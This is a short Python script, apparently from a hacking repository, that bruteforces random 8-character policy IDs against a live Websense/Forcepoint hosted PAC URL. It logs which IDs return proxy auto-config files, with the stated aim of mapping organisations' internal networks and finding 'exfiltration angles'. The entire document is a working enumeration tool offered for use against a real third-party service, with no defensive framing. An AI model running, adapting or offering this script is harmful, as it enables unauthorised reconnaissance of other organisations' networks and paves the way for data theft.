Bruteforcing Websense to find unprotected pac files that can be used to get info about internal networks and exfiltration angles.

websenseBruteforce.py

# GarnetSunset 
## Websense bruteforcing script

import requests
import rstr

regex = r"^(([b-df-hj-np-tv-z2346789]{8})\2?(?!\2))+$"
pacUrl = "http://pac.webdefence.global.blackspider.com/proxy.pac?p="

success = open("successful.txt","a+")
lineList = success.readlines()
forbidden = open("forbidden.txt","a+")
lineList = lineList + forbidden.readlines()
failed = open("failed.txt","a+")
lineList = lineList + failed.readlines()
count = 0

try:
    while True:
        regexString = rstr.xeger(regex)
        randomPacString = regexString[:8]
        
        if randomPacString not in lineList:
            r = requests.get(pacUrl+randomPacString, allow_redirects=True)
            count += 1
            if("You have browsed from an unrecognized IP address." in r.text):
                forbidden.write(randomPacString+"\n")
            elif("Invalid policy reference." in r.text):
                failed.write(randomPacString+"\n")
            else:
                success.write(randomPacString+"\n")

except KeyboardInterrupt:
    print("We tested "+str(count)+"possible entries")
    success.close()
    forbidden.close()
    failed.close()